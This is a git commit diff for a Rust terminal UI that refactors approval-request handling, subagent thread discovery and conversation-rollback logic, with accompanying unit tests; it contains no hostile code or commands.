This commit is contained in:
Roy Han
2026-03-31 15:07:23 -07:00
1807 changed files with 41233 additions and 163241 deletions
+4 -1
View File
@@ -11,7 +11,10 @@ codex_rust_crate(
"Cargo.toml",
],
allow_empty = True,
),
) + [
"//codex-rs/core:templates/collaboration_mode/default.md",
"//codex-rs/core:templates/collaboration_mode/plan.md",
],
test_data_extra = glob(["src/**/snapshots/**"]) + ["//codex-rs/core:model_availability_nux_fixtures"],
integration_compile_data_extra = ["src/test_backend.rs"],
extra_binaries = [
+7 -7
View File
@@ -3,11 +3,16 @@ name = "codex-tui"
version.workspace = true
edition.workspace = true
license.workspace = true
autobins = false
[[bin]]
name = "codex-tui"
path = "src/main.rs"
[[bin]]
name = "md-events"
path = "src/bin/md-events.rs"
[lib]
name = "codex_tui"
path = "src/lib.rs"
@@ -18,7 +23,7 @@ default = ["voice-input"]
vt100-tests = []
# Gate verbose debug logging inside the TUI implementation.
debug-logs = []
voice-input = ["dep:cpal", "dep:hound"]
voice-input = ["dep:cpal"]
[lints]
workspace = true
@@ -32,12 +37,9 @@ codex-ansi-escape = { workspace = true }
codex-app-server-client = { workspace = true }
codex-app-server-protocol = { workspace = true }
codex-arg0 = { workspace = true }
codex-backend-client = { workspace = true }
codex-chatgpt = { workspace = true }
codex-client = { workspace = true }
codex-cloud-requirements = { workspace = true }
codex-core = { workspace = true }
codex-exec-server = { workspace = true }
codex-features = { workspace = true }
codex-feedback = { workspace = true }
codex-file-search = { workspace = true }
@@ -48,7 +50,6 @@ codex-protocol = { workspace = true }
codex-shell-command = { workspace = true }
codex-state = { workspace = true }
codex-terminal-detection = { workspace = true }
codex-tui-app-server = { workspace = true }
codex-utils-approval-presets = { workspace = true }
codex-utils-absolute-path = { workspace = true }
codex-utils-cli = { workspace = true }
@@ -78,7 +79,7 @@ ratatui = { workspace = true, features = [
] }
ratatui-macros = { workspace = true }
regex-lite = { workspace = true }
reqwest = { workspace = true, features = ["json", "multipart"] }
reqwest = { workspace = true, features = ["json"] }
rmcp = { workspace = true }
serde = { workspace = true, features = ["derive"] }
serde_json = { workspace = true, features = ["preserve_order"] }
@@ -116,7 +117,6 @@ tokio-util = { workspace = true, features = ["time"] }
[target.'cfg(not(target_os = "linux"))'.dependencies]
cpal = { version = "0.15", optional = true }
hound = { version = "3.5", optional = true }
[target.'cfg(unix)'.dependencies]
libc = { workspace = true }
+4347 -1887
View File
File diff suppressed because it is too large Load Diff
+27 -4
View File
@@ -122,6 +122,16 @@ impl AgentNavigationState {
self.order.clear();
}
/// Removes a tracked thread entirely from picker metadata and traversal order.
///
/// This is reserved for entries that were only discovered opportunistically and never became
/// replayable local threads. Keeping those around after the backend confirms they are gone
/// would leave ghost rows in `/agent`.
pub(crate) fn remove(&mut self, thread_id: ThreadId) {
self.threads.remove(&thread_id);
self.order.retain(|candidate| *candidate != thread_id);
}
/// Returns whether there is at least one tracked thread other than the primary one.
///
/// `App` uses this to decide whether the picker should be available even when the collaboration
@@ -145,6 +155,14 @@ impl AgentNavigationState {
.collect()
}
/// Returns tracked thread ids in the same stable order used by the picker.
pub(crate) fn tracked_thread_ids(&self) -> Vec<ThreadId> {
self.ordered_threads()
.into_iter()
.map(|(thread_id, _)| thread_id)
.collect()
}
/// Returns the adjacent thread id for keyboard navigation in stable spawn order.
///
/// The caller must pass the thread whose transcript is actually being shown to the user, not
@@ -253,18 +271,23 @@ mod tests {
let second_agent_id =
ThreadId::from_string("00000000-0000-0000-0000-000000000103").expect("valid thread");
state.upsert(main_thread_id, None, None, false);
state.upsert(
main_thread_id,
/*agent_nickname*/ None,
/*agent_role*/ None,
/*is_closed*/ false,
);
state.upsert(
first_agent_id,
Some("Robie".to_string()),
Some("explorer".to_string()),
false,
/*is_closed*/ false,
);
state.upsert(
second_agent_id,
Some("Bob".to_string()),
Some("worker".to_string()),
false,
/*is_closed*/ false,
);
(state, main_thread_id, first_agent_id, second_agent_id)
@@ -278,7 +301,7 @@ mod tests {
first_agent_id,
Some("Robie".to_string()),
Some("worker".to_string()),
true,
/*is_closed*/ true,
);
assert_eq!(
File diff suppressed because it is too large Load Diff
+550
View File
@@ -0,0 +1,550 @@
use std::collections::HashMap;
use crate::app_command::AppCommand;
use crate::app_command::AppCommandView;
use codex_app_server_protocol::CommandExecutionRequestApprovalResponse;
use codex_app_server_protocol::FileChangeApprovalDecision;
use codex_app_server_protocol::FileChangeRequestApprovalResponse;
use codex_app_server_protocol::GrantedPermissionProfile;
use codex_app_server_protocol::McpServerElicitationAction;
use codex_app_server_protocol::McpServerElicitationRequestResponse;
use codex_app_server_protocol::PermissionsRequestApprovalResponse;
use codex_app_server_protocol::RequestId as AppServerRequestId;
use codex_app_server_protocol::ServerRequest;
use codex_app_server_protocol::ToolRequestUserInputResponse;
use codex_protocol::mcp::RequestId as McpRequestId;
use codex_protocol::protocol::ReviewDecision;
#[derive(Debug, Clone, PartialEq, Eq)]
pub(super) struct AppServerRequestResolution {
pub(super) request_id: AppServerRequestId,
pub(super) result: serde_json::Value,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub(super) struct UnsupportedAppServerRequest {
pub(super) request_id: AppServerRequestId,
pub(super) message: String,
}
#[derive(Debug, Default)]
pub(super) struct PendingAppServerRequests {
exec_approvals: HashMap<String, AppServerRequestId>,
file_change_approvals: HashMap<String, AppServerRequestId>,
permissions_approvals: HashMap<String, AppServerRequestId>,
user_inputs: HashMap<String, AppServerRequestId>,
mcp_requests: HashMap<McpLegacyRequestKey, AppServerRequestId>,
}
impl PendingAppServerRequests {
pub(super) fn clear(&mut self) {
self.exec_approvals.clear();
self.file_change_approvals.clear();
self.permissions_approvals.clear();
self.user_inputs.clear();
self.mcp_requests.clear();
}
pub(super) fn note_server_request(
&mut self,
request: &ServerRequest,
) -> Option<UnsupportedAppServerRequest> {
match request {
ServerRequest::CommandExecutionRequestApproval { request_id, params } => {
let approval_id = params
.approval_id
.clone()
.unwrap_or_else(|| params.item_id.clone());
self.exec_approvals.insert(approval_id, request_id.clone());
None
}
ServerRequest::FileChangeRequestApproval { request_id, params } => {
self.file_change_approvals
.insert(params.item_id.clone(), request_id.clone());
None
}
ServerRequest::PermissionsRequestApproval { request_id, params } => {
self.permissions_approvals
.insert(params.item_id.clone(), request_id.clone());
None
}
ServerRequest::ToolRequestUserInput { request_id, params } => {
self.user_inputs
.insert(params.turn_id.clone(), request_id.clone());
None
}
ServerRequest::McpServerElicitationRequest { request_id, params } => {
self.mcp_requests.insert(
McpLegacyRequestKey {
server_name: params.server_name.clone(),
request_id: app_server_request_id_to_mcp_request_id(request_id),
},
request_id.clone(),
);
None
}
ServerRequest::DynamicToolCall { request_id, .. } => {
Some(UnsupportedAppServerRequest {
request_id: request_id.clone(),
message: "Dynamic tool calls are not available in TUI yet.".to_string(),
})
}
ServerRequest::ChatgptAuthTokensRefresh { .. } => None,
ServerRequest::ApplyPatchApproval { request_id, .. } => {
Some(UnsupportedAppServerRequest {
request_id: request_id.clone(),
message: "Legacy patch approval requests are not available in TUI yet."
.to_string(),
})
}
ServerRequest::ExecCommandApproval { request_id, .. } => {
Some(UnsupportedAppServerRequest {
request_id: request_id.clone(),
message: "Legacy command approval requests are not available in TUI yet."
.to_string(),
})
}
}
}
pub(super) fn take_resolution<T>(
&mut self,
op: T,
) -> Result<Option<AppServerRequestResolution>, String>
where
T: Into<AppCommand>,
{
let op: AppCommand = op.into();
let resolution = match op.view() {
AppCommandView::ExecApproval { id, decision, .. } => self
.exec_approvals
.remove(id)
.map(|request_id| {
Ok::<AppServerRequestResolution, String>(AppServerRequestResolution {
request_id,
result: serde_json::to_value(CommandExecutionRequestApprovalResponse {
decision: decision.clone().into(),
})
.map_err(|err| {
format!("failed to serialize command execution approval response: {err}")
})?,
})
})
.transpose()?,
AppCommandView::PatchApproval { id, decision } => self
.file_change_approvals
.remove(id)
.map(|request_id| {
Ok::<AppServerRequestResolution, String>(AppServerRequestResolution {
request_id,
result: serde_json::to_value(FileChangeRequestApprovalResponse {
decision: file_change_decision(decision)?,
})
.map_err(|err| {
format!("failed to serialize file change approval response: {err}")
})?,
})
})
.transpose()?,
AppCommandView::RequestPermissionsResponse { id, response } => self
.permissions_approvals
.remove(id)
.map(|request_id| {
Ok::<AppServerRequestResolution, String>(AppServerRequestResolution {
request_id,
result: serde_json::to_value(PermissionsRequestApprovalResponse {
permissions: serde_json::from_value::<GrantedPermissionProfile>(
serde_json::to_value(&response.permissions).map_err(|err| {
format!("failed to encode granted permissions: {err}")
})?,
)
.map_err(|err| {
format!("failed to decode granted permissions for app-server: {err}")
})?,
scope: response.scope.into(),
})
.map_err(|err| {
format!("failed to serialize permissions approval response: {err}")
})?,
})
})
.transpose()?,
AppCommandView::UserInputAnswer { id, response } => self
.user_inputs
.remove(id)
.map(|request_id| {
Ok::<AppServerRequestResolution, String>(AppServerRequestResolution {
request_id,
result: serde_json::to_value(
serde_json::from_value::<ToolRequestUserInputResponse>(
serde_json::to_value(response).map_err(|err| {
format!("failed to encode request_user_input response: {err}")
})?,
)
.map_err(|err| {
format!(
"failed to decode request_user_input response for app-server: {err}"
)
})?,
)
.map_err(|err| {
format!("failed to serialize request_user_input response: {err}")
})?,
})
})
.transpose()?,
AppCommandView::ResolveElicitation {
server_name,
request_id,
decision,
content,
meta,
} => self
.mcp_requests
.remove(&McpLegacyRequestKey {
server_name: server_name.to_string(),
request_id: request_id.clone(),
})
.map(|request_id| {
Ok::<AppServerRequestResolution, String>(AppServerRequestResolution {
request_id,
result: serde_json::to_value(McpServerElicitationRequestResponse {
action: match decision {
codex_protocol::approvals::ElicitationAction::Accept => {
McpServerElicitationAction::Accept
}
codex_protocol::approvals::ElicitationAction::Decline => {
McpServerElicitationAction::Decline
}
codex_protocol::approvals::ElicitationAction::Cancel => {
McpServerElicitationAction::Cancel
}
},
content: content.clone(),
meta: meta.clone(),
})
.map_err(|err| {
format!("failed to serialize MCP elicitation response: {err}")
})?,
})
})
.transpose()?,
_ => None,
};
Ok(resolution)
}
pub(super) fn resolve_notification(&mut self, request_id: &AppServerRequestId) {
self.exec_approvals.retain(|_, value| value != request_id);
self.file_change_approvals
.retain(|_, value| value != request_id);
self.permissions_approvals
.retain(|_, value| value != request_id);
self.user_inputs.retain(|_, value| value != request_id);
self.mcp_requests.retain(|_, value| value != request_id);
}
}
#[derive(Debug, Clone, PartialEq, Eq, Hash)]
struct McpLegacyRequestKey {
server_name: String,
request_id: McpRequestId,
}
fn app_server_request_id_to_mcp_request_id(request_id: &AppServerRequestId) -> McpRequestId {
match request_id {
AppServerRequestId::String(value) => McpRequestId::String(value.clone()),
AppServerRequestId::Integer(value) => McpRequestId::Integer(*value),
}
}
fn file_change_decision(decision: &ReviewDecision) -> Result<FileChangeApprovalDecision, String> {
match decision {
ReviewDecision::Approved => Ok(FileChangeApprovalDecision::Accept),
ReviewDecision::ApprovedForSession => Ok(FileChangeApprovalDecision::AcceptForSession),
ReviewDecision::Denied => Ok(FileChangeApprovalDecision::Decline),
ReviewDecision::Abort => Ok(FileChangeApprovalDecision::Cancel),
ReviewDecision::ApprovedExecpolicyAmendment { .. } => {
Err("execpolicy amendment is not a valid file change approval decision".to_string())
}
ReviewDecision::NetworkPolicyAmendment { .. } => {
Err("network policy amendment is not a valid file change approval decision".to_string())
}
}
}
#[cfg(test)]
mod tests {
use super::PendingAppServerRequests;
use codex_app_server_protocol::CommandExecutionRequestApprovalParams;
use codex_app_server_protocol::FileChangeRequestApprovalParams;
use codex_app_server_protocol::McpElicitationObjectType;
use codex_app_server_protocol::McpElicitationSchema;
use codex_app_server_protocol::McpServerElicitationRequest;
use codex_app_server_protocol::McpServerElicitationRequestParams;
use codex_app_server_protocol::PermissionGrantScope;
use codex_app_server_protocol::PermissionsRequestApprovalParams;
use codex_app_server_protocol::PermissionsRequestApprovalResponse;
use codex_app_server_protocol::RequestId as AppServerRequestId;
use codex_app_server_protocol::ServerRequest;
use codex_app_server_protocol::ToolRequestUserInputAnswer;
use codex_app_server_protocol::ToolRequestUserInputParams;
use codex_app_server_protocol::ToolRequestUserInputResponse;
use codex_protocol::approvals::ElicitationAction;
use codex_protocol::approvals::ExecPolicyAmendment;
use codex_protocol::mcp::RequestId as McpRequestId;
use codex_protocol::protocol::Op;
use codex_protocol::protocol::ReviewDecision;
use pretty_assertions::assert_eq;
use serde_json::json;
use std::collections::BTreeMap;
#[test]
fn resolves_exec_approval_through_app_server_request_id() {
let mut pending = PendingAppServerRequests::default();
let request = ServerRequest::CommandExecutionRequestApproval {
request_id: AppServerRequestId::Integer(41),
params: CommandExecutionRequestApprovalParams {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "call-1".to_string(),
approval_id: Some("approval-1".to_string()),
reason: None,
network_approval_context: None,
command: Some("ls".to_string()),
cwd: None,
command_actions: None,
additional_permissions: None,
proposed_execpolicy_amendment: None,
proposed_network_policy_amendments: None,
available_decisions: None,
},
};
assert_eq!(pending.note_server_request(&request), None);
let resolution = pending
.take_resolution(&Op::ExecApproval {
id: "approval-1".to_string(),
turn_id: None,
decision: ReviewDecision::Approved,
})
.expect("resolution should serialize")
.expect("request should be pending");
assert_eq!(resolution.request_id, AppServerRequestId::Integer(41));
assert_eq!(resolution.result, json!({ "decision": "accept" }));
}
#[test]
fn resolves_permissions_and_user_input_through_app_server_request_id() {
let mut pending = PendingAppServerRequests::default();
assert_eq!(
pending.note_server_request(&ServerRequest::PermissionsRequestApproval {
request_id: AppServerRequestId::Integer(7),
params: PermissionsRequestApprovalParams {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "perm-1".to_string(),
reason: None,
permissions: serde_json::from_value(json!({
"network": { "enabled": null }
}))
.expect("valid permissions"),
},
}),
None
);
assert_eq!(
pending.note_server_request(&ServerRequest::ToolRequestUserInput {
request_id: AppServerRequestId::Integer(8),
params: ToolRequestUserInputParams {
thread_id: "thread-1".to_string(),
turn_id: "turn-2".to_string(),
item_id: "tool-1".to_string(),
questions: Vec::new(),
},
}),
None
);
let permissions = pending
.take_resolution(&Op::RequestPermissionsResponse {
id: "perm-1".to_string(),
response: codex_protocol::request_permissions::RequestPermissionsResponse {
permissions: serde_json::from_value(json!({
"network": { "enabled": null }
}))
.expect("valid permissions"),
scope: codex_protocol::request_permissions::PermissionGrantScope::Session,
},
})
.expect("permissions response should serialize")
.expect("permissions request should be pending");
assert_eq!(permissions.request_id, AppServerRequestId::Integer(7));
assert_eq!(
serde_json::from_value::<PermissionsRequestApprovalResponse>(permissions.result)
.expect("permissions response should decode"),
PermissionsRequestApprovalResponse {
permissions: serde_json::from_value(json!({
"network": { "enabled": null }
}))
.expect("valid permissions"),
scope: PermissionGrantScope::Session,
}
);
let user_input = pending
.take_resolution(&Op::UserInputAnswer {
id: "turn-2".to_string(),
response: codex_protocol::request_user_input::RequestUserInputResponse {
answers: std::iter::once((
"question".to_string(),
codex_protocol::request_user_input::RequestUserInputAnswer {
answers: vec!["yes".to_string()],
},
))
.collect(),
},
})
.expect("user input response should serialize")
.expect("user input request should be pending");
assert_eq!(user_input.request_id, AppServerRequestId::Integer(8));
assert_eq!(
serde_json::from_value::<ToolRequestUserInputResponse>(user_input.result)
.expect("user input response should decode"),
ToolRequestUserInputResponse {
answers: std::iter::once((
"question".to_string(),
ToolRequestUserInputAnswer {
answers: vec!["yes".to_string()],
},
))
.collect(),
}
);
}
#[test]
fn correlates_mcp_elicitation_server_request_with_resolution() {
let mut pending = PendingAppServerRequests::default();
assert_eq!(
pending.note_server_request(&ServerRequest::McpServerElicitationRequest {
request_id: AppServerRequestId::Integer(12),
params: McpServerElicitationRequestParams {
thread_id: "thread-1".to_string(),
turn_id: Some("turn-1".to_string()),
server_name: "example".to_string(),
request: McpServerElicitationRequest::Form {
meta: None,
message: "Need input".to_string(),
requested_schema: McpElicitationSchema {
schema_uri: None,
type_: McpElicitationObjectType::Object,
properties: BTreeMap::new(),
required: None,
},
},
},
}),
None
);
let resolution = pending
.take_resolution(&Op::ResolveElicitation {
server_name: "example".to_string(),
request_id: McpRequestId::Integer(12),
decision: ElicitationAction::Accept,
content: Some(json!({ "answer": "yes" })),
meta: Some(json!({ "source": "tui" })),
})
.expect("elicitation response should serialize")
.expect("elicitation request should be pending");
assert_eq!(resolution.request_id, AppServerRequestId::Integer(12));
assert_eq!(
resolution.result,
json!({
"action": "accept",
"content": { "answer": "yes" },
"_meta": { "source": "tui" }
})
);
}
#[test]
fn rejects_dynamic_tool_calls_as_unsupported() {
let mut pending = PendingAppServerRequests::default();
let unsupported = pending
.note_server_request(&ServerRequest::DynamicToolCall {
request_id: AppServerRequestId::Integer(99),
params: codex_app_server_protocol::DynamicToolCallParams {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
call_id: "tool-1".to_string(),
tool: "tool".to_string(),
arguments: json!({}),
},
})
.expect("dynamic tool calls should be rejected");
assert_eq!(unsupported.request_id, AppServerRequestId::Integer(99));
assert_eq!(
unsupported.message,
"Dynamic tool calls are not available in TUI yet."
);
}
#[test]
fn does_not_mark_chatgpt_auth_refresh_as_unsupported() {
let mut pending = PendingAppServerRequests::default();
assert_eq!(
pending.note_server_request(&ServerRequest::ChatgptAuthTokensRefresh {
request_id: AppServerRequestId::Integer(100),
params: codex_app_server_protocol::ChatgptAuthTokensRefreshParams {
reason: codex_app_server_protocol::ChatgptAuthTokensRefreshReason::Unauthorized,
previous_account_id: Some("workspace-1".to_string()),
},
}),
None
);
}
#[test]
fn rejects_invalid_patch_decisions_for_file_change_requests() {
let mut pending = PendingAppServerRequests::default();
assert_eq!(
pending.note_server_request(&ServerRequest::FileChangeRequestApproval {
request_id: AppServerRequestId::Integer(13),
params: FileChangeRequestApprovalParams {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "patch-1".to_string(),
reason: None,
grant_root: None,
},
}),
None
);
let error = pending
.take_resolution(&Op::PatchApproval {
id: "patch-1".to_string(),
decision: ReviewDecision::ApprovedExecpolicyAmendment {
proposed_execpolicy_amendment: ExecPolicyAmendment::new(vec![
"echo".to_string(),
"hi".to_string(),
]),
},
})
.expect_err("invalid patch decision should fail");
assert_eq!(
error,
"execpolicy amendment is not a valid file change approval decision"
);
}
}
+208
View File
@@ -0,0 +1,208 @@
//! Discovers subagent threads that belong to a primary thread by walking spawn-tree edges.
//!
//! When the TUI resumes or switches to an existing thread, it needs to populate
//! `AgentNavigationState` and `ChatWidget` metadata for every subagent that was spawned during
//! that thread's lifetime. The app server exposes a flat list of currently loaded threads via
//! `thread/loaded/list`, but the TUI must figure out which of those are descendants of the
//! primary thread.
//!
//! This module provides the pure, synchronous tree-walk that turns that flat list into the filtered
//! set of descendants. It intentionally has no async, no I/O, and no side effects so it can be
//! unit-tested in isolation.
//!
//! The walk starts from `primary_thread_id` and repeatedly follows
//! `SessionSource::SubAgent(ThreadSpawn { parent_thread_id, .. })` edges until no new children are
//! found. The primary thread itself is never included in the output.
use codex_app_server_protocol::SessionSource;
use codex_app_server_protocol::Thread;
use codex_protocol::ThreadId;
use codex_protocol::protocol::SubAgentSource;
use std::collections::HashMap;
use std::collections::HashSet;
/// A subagent thread discovered by the spawn-tree walk, carrying just enough metadata for the
/// TUI to register it in the navigation cache and rendering metadata map.
#[derive(Debug, Clone, PartialEq, Eq)]
pub(crate) struct LoadedSubagentThread {
pub(crate) thread_id: ThreadId,
pub(crate) agent_nickname: Option<String>,
pub(crate) agent_role: Option<String>,
}
/// Walks the spawn tree rooted at `primary_thread_id` and returns every descendant subagent.
///
/// The walk is breadth-first over `SessionSource::SubAgent(ThreadSpawn { parent_thread_id })` edges.
/// Threads whose `source` is not a `ThreadSpawn`, or whose `parent_thread_id` does not chain back
/// to `primary_thread_id`, are excluded. The primary thread itself is never included.
///
/// Results are sorted by stringified thread id for deterministic output in tests and in the
/// navigation cache. Callers should not rely on this ordering for anything semantic; it exists
/// purely to make snapshot assertions stable.
///
/// If two threads claim the same parent, both are included. Cycles in the parent chain are not
/// possible because `ThreadId`s are server-assigned UUIDs and the server enforces acyclicity, but
/// the `included` set guards against re-visiting regardless.
pub(crate) fn find_loaded_subagent_threads_for_primary(
threads: Vec<Thread>,
primary_thread_id: ThreadId,
) -> Vec<LoadedSubagentThread> {
let mut threads_by_id = HashMap::new();
for thread in threads {
let Ok(thread_id) = ThreadId::from_string(&thread.id) else {
continue;
};
threads_by_id.insert(thread_id, thread);
}
let mut included = HashSet::new();
let mut pending = vec![primary_thread_id];
while let Some(parent_thread_id) = pending.pop() {
for (thread_id, thread) in &threads_by_id {
if included.contains(thread_id) {
continue;
}
let SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
parent_thread_id: source_parent_thread_id,
..
}) = &thread.source
else {
continue;
};
if *source_parent_thread_id != parent_thread_id {
continue;
}
included.insert(*thread_id);
pending.push(*thread_id);
}
}
let mut loaded_threads: Vec<LoadedSubagentThread> = included
.into_iter()
.filter_map(|thread_id| {
threads_by_id
.remove(&thread_id)
.map(|thread| LoadedSubagentThread {
thread_id,
agent_nickname: thread.agent_nickname,
agent_role: thread.agent_role,
})
})
.collect();
loaded_threads.sort_by_key(|thread| thread.thread_id.to_string());
loaded_threads
}
#[cfg(test)]
mod tests {
use super::LoadedSubagentThread;
use super::find_loaded_subagent_threads_for_primary;
use codex_app_server_protocol::SessionSource;
use codex_app_server_protocol::Thread;
use codex_app_server_protocol::ThreadStatus;
use codex_protocol::ThreadId;
use codex_protocol::protocol::SubAgentSource;
use pretty_assertions::assert_eq;
use std::path::PathBuf;
fn test_thread(thread_id: ThreadId, source: SessionSource) -> Thread {
Thread {
id: thread_id.to_string(),
preview: String::new(),
ephemeral: false,
model_provider: "openai".to_string(),
created_at: 0,
updated_at: 0,
status: ThreadStatus::Idle,
path: None,
cwd: PathBuf::from("/tmp"),
cli_version: "0.0.0".to_string(),
source,
agent_nickname: None,
agent_role: None,
git_info: None,
name: None,
turns: Vec::new(),
}
}
#[test]
fn finds_loaded_subagent_tree_for_primary_thread() {
let primary_thread_id =
ThreadId::from_string("00000000-0000-0000-0000-000000000001").expect("valid thread");
let child_thread_id =
ThreadId::from_string("00000000-0000-0000-0000-000000000002").expect("valid thread");
let grandchild_thread_id =
ThreadId::from_string("00000000-0000-0000-0000-000000000003").expect("valid thread");
let unrelated_parent_id =
ThreadId::from_string("00000000-0000-0000-0000-000000000004").expect("valid thread");
let unrelated_child_id =
ThreadId::from_string("00000000-0000-0000-0000-000000000005").expect("valid thread");
let mut child = test_thread(
child_thread_id,
SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
parent_thread_id: primary_thread_id,
depth: 1,
agent_path: None,
agent_nickname: Some("Scout".to_string()),
agent_role: Some("explorer".to_string()),
}),
);
child.agent_nickname = Some("Scout".to_string());
child.agent_role = Some("explorer".to_string());
let mut grandchild = test_thread(
grandchild_thread_id,
SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
parent_thread_id: child_thread_id,
depth: 2,
agent_path: None,
agent_nickname: Some("Atlas".to_string()),
agent_role: Some("worker".to_string()),
}),
);
grandchild.agent_nickname = Some("Atlas".to_string());
grandchild.agent_role = Some("worker".to_string());
let unrelated_child = test_thread(
unrelated_child_id,
SessionSource::SubAgent(SubAgentSource::ThreadSpawn {
parent_thread_id: unrelated_parent_id,
depth: 1,
agent_path: None,
agent_nickname: Some("Other".to_string()),
agent_role: Some("researcher".to_string()),
}),
);
let loaded = find_loaded_subagent_threads_for_primary(
vec![
test_thread(primary_thread_id, SessionSource::Cli),
child,
grandchild,
unrelated_child,
],
primary_thread_id,
);
assert_eq!(
loaded,
vec![
LoadedSubagentThread {
thread_id: child_thread_id,
agent_nickname: Some("Scout".to_string()),
agent_role: Some("explorer".to_string()),
},
LoadedSubagentThread {
thread_id: grandchild_thread_id,
agent_nickname: Some("Atlas".to_string()),
agent_role: Some("worker".to_string()),
},
]
);
}
}
File diff suppressed because it is too large Load Diff
+52 -55
View File
@@ -28,6 +28,7 @@ use std::path::PathBuf;
use std::sync::Arc;
use crate::app::App;
use crate::app_command::AppCommand;
use crate::app_event::AppEvent;
use crate::history_cell::SessionInfoCell;
use crate::history_cell::UserHistoryCell;
@@ -35,10 +36,6 @@ use crate::pager_overlay::Overlay;
use crate::tui;
use crate::tui::TuiEvent;
use codex_protocol::ThreadId;
use codex_protocol::protocol::CodexErrorInfo;
use codex_protocol::protocol::ErrorEvent;
use codex_protocol::protocol::EventMsg;
use codex_protocol::protocol::Op;
use codex_protocol::user_input::TextElement;
use color_eyre::eyre::Result;
use crossterm::event::KeyCode;
@@ -215,7 +212,8 @@ impl App {
selection,
thread_id: self.chat_widget.thread_id(),
});
self.chat_widget.submit_op(Op::ThreadRollback { num_turns });
self.chat_widget
.submit_op(AppCommand::thread_rollback(num_turns));
self.chat_widget.set_remote_image_urls(remote_image_urls);
if !prefill.is_empty()
|| !text_elements.is_empty()
@@ -461,37 +459,19 @@ impl App {
tui.frame_requester().schedule_frame();
}
pub(crate) fn handle_backtrack_event(&mut self, event: &EventMsg) {
match event {
EventMsg::ThreadRolledBack(rollback) => {
// `pending_rollback` is set only after this UI sends `Op::ThreadRollback`
// from the backtrack flow. In that case, finish immediately using the
// stored selection (nth user message) so local trim matches the exact
// backtrack target.
//
// When it is `None`, rollback came from replay or another source. We
// queue an AppEvent so rollback trim runs in FIFO order with
// `InsertHistoryCell` events, avoiding races with in-flight transcript
// inserts.
if self.backtrack.pending_rollback.is_some() {
self.finish_pending_backtrack();
} else {
self.app_event_tx.send(AppEvent::ApplyThreadRollback {
num_turns: rollback.num_turns,
});
}
}
EventMsg::Error(ErrorEvent {
codex_error_info: Some(CodexErrorInfo::ThreadRollbackFailed),
..
}) => {
// Core rejected the rollback; clear the guard so the user can retry.
self.backtrack.pending_rollback = None;
}
_ => {}
pub(crate) fn handle_backtrack_rollback_succeeded(&mut self, num_turns: u32) {
if self.backtrack.pending_rollback.is_some() {
self.finish_pending_backtrack();
} else {
self.app_event_tx
.send(AppEvent::ApplyThreadRollback { num_turns });
}
}
pub(crate) fn handle_backtrack_rollback_failed(&mut self) {
self.backtrack.pending_rollback = None;
}
/// Apply rollback semantics for `ThreadRolledBack` events where this TUI does not have an
/// in-flight backtrack request (`pending_rollback` is `None`).
///
@@ -672,10 +652,12 @@ mod tests {
local_image_paths: Vec::new(),
remote_image_urls: Vec::new(),
}) as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(vec![Line::from("assistant")], true))
as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("assistant")],
/*is_first_line*/ true,
)) as Arc<dyn HistoryCell>,
];
trim_transcript_cells_to_nth_user(&mut cells, 0);
trim_transcript_cells_to_nth_user(&mut cells, /*nth_user_message*/ 0);
assert!(cells.is_empty());
}
@@ -683,18 +665,22 @@ mod tests {
#[test]
fn trim_transcript_preserves_cells_before_selected_user() {
let mut cells: Vec<Arc<dyn HistoryCell>> = vec![
Arc::new(AgentMessageCell::new(vec![Line::from("intro")], true))
as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("intro")],
/*is_first_line*/ true,
)) as Arc<dyn HistoryCell>,
Arc::new(UserHistoryCell {
message: "first".to_string(),
text_elements: Vec::new(),
local_image_paths: Vec::new(),
remote_image_urls: Vec::new(),
}) as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(vec![Line::from("after")], false))
as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("after")],
/*is_first_line*/ false,
)) as Arc<dyn HistoryCell>,
];
trim_transcript_cells_to_nth_user(&mut cells, 0);
trim_transcript_cells_to_nth_user(&mut cells, /*nth_user_message*/ 0);
assert_eq!(cells.len(), 1);
let agent = cells[0]
@@ -714,26 +700,32 @@ mod tests {
#[test]
fn trim_transcript_for_later_user_keeps_prior_history() {
let mut cells: Vec<Arc<dyn HistoryCell>> = vec![
Arc::new(AgentMessageCell::new(vec![Line::from("intro")], true))
as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("intro")],
/*is_first_line*/ true,
)) as Arc<dyn HistoryCell>,
Arc::new(UserHistoryCell {
message: "first".to_string(),
text_elements: Vec::new(),
local_image_paths: Vec::new(),
remote_image_urls: Vec::new(),
}) as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(vec![Line::from("between")], false))
as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("between")],
/*is_first_line*/ false,
)) as Arc<dyn HistoryCell>,
Arc::new(UserHistoryCell {
message: "second".to_string(),
text_elements: Vec::new(),
local_image_paths: Vec::new(),
remote_image_urls: Vec::new(),
}) as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(vec![Line::from("tail")], false))
as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("tail")],
/*is_first_line*/ false,
)) as Arc<dyn HistoryCell>,
];
trim_transcript_cells_to_nth_user(&mut cells, 1);
trim_transcript_cells_to_nth_user(&mut cells, /*nth_user_message*/ 1);
assert_eq!(cells.len(), 3);
let agent_intro = cells[0]
@@ -778,7 +770,7 @@ mod tests {
}) as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("after first")],
false,
/*is_first_line*/ false,
)) as Arc<dyn HistoryCell>,
Arc::new(UserHistoryCell {
message: "second".to_string(),
@@ -788,11 +780,12 @@ mod tests {
}) as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("after second")],
false,
/*is_first_line*/ false,
)) as Arc<dyn HistoryCell>,
];
let changed = trim_transcript_cells_drop_last_n_user_turns(&mut cells, 1);
let changed =
